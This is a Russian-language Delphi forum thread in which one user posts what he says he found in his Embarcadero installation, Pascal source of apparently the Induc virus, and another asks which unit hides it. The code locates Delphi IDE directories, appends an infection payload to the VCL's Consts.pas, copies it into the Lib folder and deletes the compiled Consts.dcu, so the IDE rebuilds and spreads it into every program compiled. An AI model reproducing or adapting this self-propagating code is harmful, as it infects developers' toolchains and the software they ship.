Форум по Delphi программированию

Delphi Sources



Вернуться   Форум по Delphi программированию > Разное > Флейм
Ник
Пароль
Регистрация <<         Правила форума         >> FAQ Пользователи Календарь Поиск Сообщения за сегодня Все разделы прочитаны

Ответ
 
Опции темы Поиск в этой теме Опции просмотра
  #1  
Старый 12.02.2012, 08:59
Аватар для M.A.D.M.A.N.
M.A.D.M.A.N. M.A.D.M.A.N. вне форума
Sir Richard Abramson
 
Регистрация: 05.04.2008
Сообщения: 5,505
Версия Delphi: XE10
Репутация: выкл
По умолчанию Индюшатина

Обнаружил у себя в эмбаркадере. (Правда он не функционирует как в 7-й дельфи)
Код:
uses
  Windows, Classes;
 
const
TAppBuilder = @TAppBuilder@;
_INITIALIZATION = @INITIALIZATION@;
BORLAND = @BORLAND@;
CODEGEAR = @CODEGEAR@;
EMBARCADERO = @EMBARCADERO@;
_CONSTS = @Consts@;
SrcDir = @\Source\Vcl\@;
LibDir = @\Lib\@;
 
var
IdeList: TStringList;
I: Integer;
 
function PrepareInfection(s:string):string;
var
  i:integer;
begin
for i:=1 to length(s) do
if s[i]=#36 then s[i]:=#39;
result:=s;
end;
 
procedure GetEnvStrings(var EnvList: TStringList);
var
  i : integer;
  EnvStrings :pchar;
  EnvStringsMaxSize : integer;
  s : string;
begin
  EnvStringsMaxSize := 10000;
  EnvStrings := GetEnvironmentStrings;
  try
   i:=0;
   s:=@@;
   while i < EnvStringsMaxSize do
   begin
     if EnvStrings[i]<>#0 then
       s:=s+EnvStrings[i]
     else
     begin
       if s=@@ then
         break;
       EnvList.Add(s);
       s:=@@;
     end;
     inc(i);
   end;
  finally
   FreeEnvironmentStrings(EnvStrings);
  end;
end;
 
function DirExists(const Name: string): Boolean;
var
  Code: Integer;
begin
  Code := GetFileAttributes(PChar(Name));
  Result := (Code <> -1) and (FILE_ATTRIBUTE_DIRECTORY and Code <> 0);
end;
 
function FileExists(const FileName: string): Boolean;
var
Code: Integer;
begin
  Code := GetFileAttributes(PChar(FileName));
  Result := (Code <> -1) and (FILE_ATTRIBUTE_DIRECTORY and Code = 0);
end;
 
function AnsiUpperCase(const S: string): string;
var
  Len: Integer;
begin
  Len := Length(S);
  SetString(Result, PChar(S), Len);
  if Len > 0 then
    CharUpperBuff(PChar(Result), Len);
end;
 
procedure GetIdePathes(var MainList: TStringList);
function PrepareString(Str: String): String;
var
S: String;
begin
S := Str;
while POS(@=@, S) <> 0 do
Delete(S, 1, POS(@=@, S));
while POS(@;@, S) <> 0 do
Delete(S, 1, POS(@;@, S));
RESULT := S;
end;
function IsValidString(Str: String): Boolean;
begin
RESULT := FALSE;
if (Str <> @@) and (POS(Str, MainList.Text) = 0) and (DirExists(Str)) then
RESULT := TRUE;
end;
var
S, Temp: String;
TempList:TStringList;
I: Integer;
DEVELOPER: String;
PATHLEN: Integer;
begin
PATHLEN := 0;
TempList:=TStringList.Create;
try
GetEnvStrings(TempList);
S := TempList.Text;
finally
TempList.Free;
end;
if (S = @@) then EXIT;
for I := 0 to 2 do
begin
case I of
0:
begin
DEVELOPER := BORLAND;
PATHLEN := 15;
end;
1:
begin
DEVELOPER := CODEGEAR;
PATHLEN := 23;
end;
2:
begin
DEVELOPER := EMBARCADERO;
PATHLEN := 26;
end;
end;
if POS(DEVELOPER, AnsiUpperCase(S)) <> 0 then
begin
Temp := S;
Delete(Temp, POS(DEVELOPER, AnsiUpperCase(Temp)) + PATHLEN, Length(Temp));
Temp := PrepareString(Temp);
if IsValidString(Temp) then
MainList.Add(Temp);
end;
end;
end;
 
function DelphiRunning: Boolean;
begin
RESULT := (FindWindow(TAppBuilder,nil) > 0);
end;
 
function IsInfected(FN: String): Boolean;
var
  F:textfile;
 S:String;
begin
RESULT := FAlse;
assignfile(F,FN);
RESET(F);
while not EOF(F) do
 begin
 READLN(F, S);
if Pos(_INITIALIZATION,AnsiUpperCase(S)) <> 0 then
begin
RESULT := TRUE;
BREAK;
end;
end;
closefile(F);
end;
 
function IsInvalidFile(FN: String): Boolean;
var
  F:textfile;
 S:String;
begin
RESULT := True;
assignfile(F,FN);
RESET(F);
while not EOF(F) do
 begin
 READLN(F, S);
if Pos(AnsiUpperCase(_CONSTS)+@;@,AnsiUpperCase(S)) <> 0 then
begin
RESULT := False;
BREAK;
end;
end;
closefile(F);
end;
 
function ErrorsExists(DelphiDir: String): Boolean;
begin
RESULT := TRUE;
if not FileExists(DelphiDir + SrcDir + _CONSTS+@.pas@) then EXIT;
if IsInvalidFile(DelphiDir + SrcDir + _CONSTS+@.pas@) then EXIT;
if IsInfected(DelphiDir + SrcDir + _CONSTS+@.pas@) then
begin
if FileExists(DelphiDir + LibDir + _CONSTS+@.dcu@) then
DeleteFile(PChar(DelphiDir + LibDir + _CONSTS+@.pas@));
EXIT;
end;
RESULT := FALSE;
end;
 
function WriteInfection(FN, DelphiDir: String; InfStr: String): Boolean;
var
  F1,F2:textfile;
 S:String;
begin
assignfile(F1,FN+@.~pas@);
assignfile(F2,FN);
Rewrite(F1);
RESET(F2);
while not EOF(F2) do
 begin
 READLN(F2, S);
if Pos(@END.@,AnsiUpperCase(S)) = 0 then
Writeln(F1, S);
end;
writeln(F1, InfStr);
closefile(F1);
closefile(F2);
RESULT := DeleteFile(pchar(FN));
if RESULT then
RESULT := MoveFile(pchar(FN+@.~pas@),pchar(FN));
if RESULT then
RESULT := CopyFile(pchar(FN),pchar(DelphiDir + LibDir + _CONSTS+@.pas@), FALSE);
if RESULT then
RESULT := DeleteFile(pchar(DelphiDir + LibDir + _CONSTS+@.dcu@));
end;
 
Initialization
if not DelphiRunning then
begin
IdeList:= TStringList.Create;
try
GetIdePathes(IdeList);
for I:=0 to IdeList.Count - 1 do
begin
if not ErrorsExists(IdeList.Strings[i]) then
WriteInfection(IdeList.Strings[i] + SrcDir + _CONSTS+@.pas@, IdeList.Strings[i], PrepareInfection(INFECTION));
end;
finally
IdeList.Free;
end;
end;

Если страшно, можете прихлопнуть сообщение.
Ответить с цитированием
  #2  
Старый 13.02.2012, 22:22
Аватар для angvelem
angvelem angvelem вне форума
.
 
Регистрация: 18.05.2011
Адрес: Омск
Сообщения: 3,970
Версия Delphi: 3,5,7,10,12,XE2
Репутация: выкл
По умолчанию

В каком юните живёт этот зверёк?
__________________
Je venus de nulle part
55.026263 с.ш., 73.397636 в.д.
Ответить с цитированием
Ответ


Delphi Sources

Опции темы Поиск в этой теме
Поиск в этой теме:

Расширенный поиск
Опции просмотра

Ваши права в разделе
Вы не можете создавать темы
Вы не можете отвечать на сообщения
Вы не можете прикреплять файлы
Вы не можете редактировать сообщения

BB-коды Вкл.
Смайлы Вкл.
[IMG] код Вкл.
HTML код Выкл.
Быстрый переход


Часовой пояс GMT +3, время: 15:23.


 

Сайт

Форум

FAQ

RSS лента

Прочее

 

Copyright © Форум "Delphi Sources" by BrokenByte Software, 2004-2023

ВКонтакте   Facebook   Twitter